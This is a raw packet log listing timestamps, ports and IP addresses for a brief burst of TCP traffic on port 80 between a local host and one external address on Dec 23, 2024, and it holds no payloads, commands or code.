Dec 23, 2024 07:52:49.496979952 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.497713089 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.497783899 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.497848034 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.498553038 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.498614073 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.498632908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.499505997 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.499594927 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.499619961 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.500550985 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.500565052 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.500605106 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.501472950 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.501494884 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.501652002 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.502399921 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.502413034 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.502619982 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.503252983 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.503302097 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.503602982 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.504205942 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.504543066 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.504561901 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.505250931 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.505263090 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.505511045 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.506138086 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.506160021 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.506257057 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.507096052 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.507118940 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.507946968 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.508266926 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.508280039 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.508961916 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.509032965 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.509151936 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.509821892 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.510236979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.510332108 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.511029005 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.511044979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.511291027 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.511709929 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.512037992 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.512063026 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.512772083 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.512795925 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.512871027 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.565685034 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.584568024 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.685424089 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.685441017 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.685770035 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.685782909 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.685811996 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.685841084 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.704277039 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.704293013 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.704363108 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.704698086 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.704879045 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.704932928 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.705903053 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.705918074 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.706026077 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.706510067 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.706634998 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.706765890 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.707613945 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.707628012 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.707921982 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.708444118 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.708539963 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.708708048 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.709458113 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.709471941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.709777117 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.710294008 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.710406065 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.710624933 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.711241007 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.711364031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.711520910 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.712177992 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.712256908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.712338924 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.713107109 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.713314056 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.713368893 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.714179993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.714191914 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.714250088 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.714970112 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.715076923 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.715189934 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.715919018 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.716028929 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.716111898 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.716883898 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.716973066 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.717240095 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.717844963 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.717936993 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.718018055 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.718761921 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.718926907 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.719000101 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.719757080 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.719770908 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.719839096 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.720599890 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.720714092 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.720839977 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.721575022 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.721666098 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.722507954 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.722675085 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.723069906 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.723412991 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.723555088 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.723634005 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.724383116 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.724462986 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.724543095 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.725301027 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.725441933 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.725536108 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.726231098 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.726475000 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.726597071 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.726727009 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.727402925 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.727519989 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.727992058 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.728454113 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.728471041 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.728660107 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.729429007 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.729485989 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.729538918 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.730216026 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.730283976 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.730343103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.731321096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.731334925 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.731384039 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.732106924 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.732264042 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.733043909 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.733105898 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.733139992 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.734004021 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.734081984 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.734169006 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.734956980 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.735032082 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.735877037 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.735999107 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.736022949 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.736795902 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.736900091 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.737803936 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.737818003 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.737878084 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.738766909 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.738780975 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.738894939 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.739638090 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.739681959 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.739721060 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.740545988 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.740622044 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.740662098 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.741492987 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.741602898 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.741625071 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.742440939 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.742569923 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.742598057 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.743426085 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.743473053 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.743499994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.744395971 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.744482040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.744486094 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.745249033 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.745295048 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.745361090 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.746212006 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.746288061 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.746304035 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.747144938 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.747275114 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.748125076 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.748224020 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.748240948 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.749017954 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.749140978 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.749191999 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.749963999 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.750154018 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.750808001 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.750893116 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.751029968 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.751770973 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.751794100 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.751872063 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.848949909 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.849128008 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.849253893 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.849400997 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.849544048 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.849672079 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.850363970 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.850478888 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.850529909 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.851332903 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.851543903 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.851686001 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.852217913 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.852417946 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.852458954 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.853142023 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.853219986 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.853749990 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.854155064 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.854171038 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.854204893 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.855000973 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.855163097 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.855261087 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.855946064 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.856043100 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.856216908 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.856952906 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.857060909 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.857924938 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.857969046 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.858155966 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.858155966 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.858889103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.859040022 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.859143972 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.859814882 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.859829903 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.859993935 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.860755920 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.860770941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.860984087 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.861690044 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.861705065 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.861952066 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.862514973 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.862637043 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.862823009 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.863513947 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.863579035 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.863832951 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.864461899 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.864545107 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.864793062 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.865425110 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.865586042 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.865979910 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.866349936 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.866394043 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.866941929 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.867305994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.867584944 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.867656946 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.868210077 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.868274927 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.868417025 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.869075060 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.869313955 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.870055914 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.870197058 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.870218039 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.870384932 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.871176004 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.871275902 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.871340036 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.871936083 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.872021914 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.872097015 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.872900963 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.873023033 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.873085976 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.873830080 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.873935938 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.874032974 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.874742031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.874881983 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.875065088 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.875741005 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.875843048 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.875915051 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.876729012 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.876744032 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.876838923 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.877563000 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.877661943 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.877770901 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.878541946 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.878717899 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.878772020 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.879467010 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.879544973 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.879810095 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.880408049 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.880542040 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.880769014 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.881366968 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.881537914 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.881618023 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.882353067 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.882394075 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.882534027 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.883194923 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.883497953 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.883558035 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.884186983 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.884257078 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.884319067 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.885061026 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.885229111 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.885279894 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.886034966 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.886122942 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.886284113 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.886996031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.887048960 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.887161970 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.887984037 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.888040066 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:49.888139009 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:49.888812065 CET	80	49758	185.215.113.16	192.168.2.10
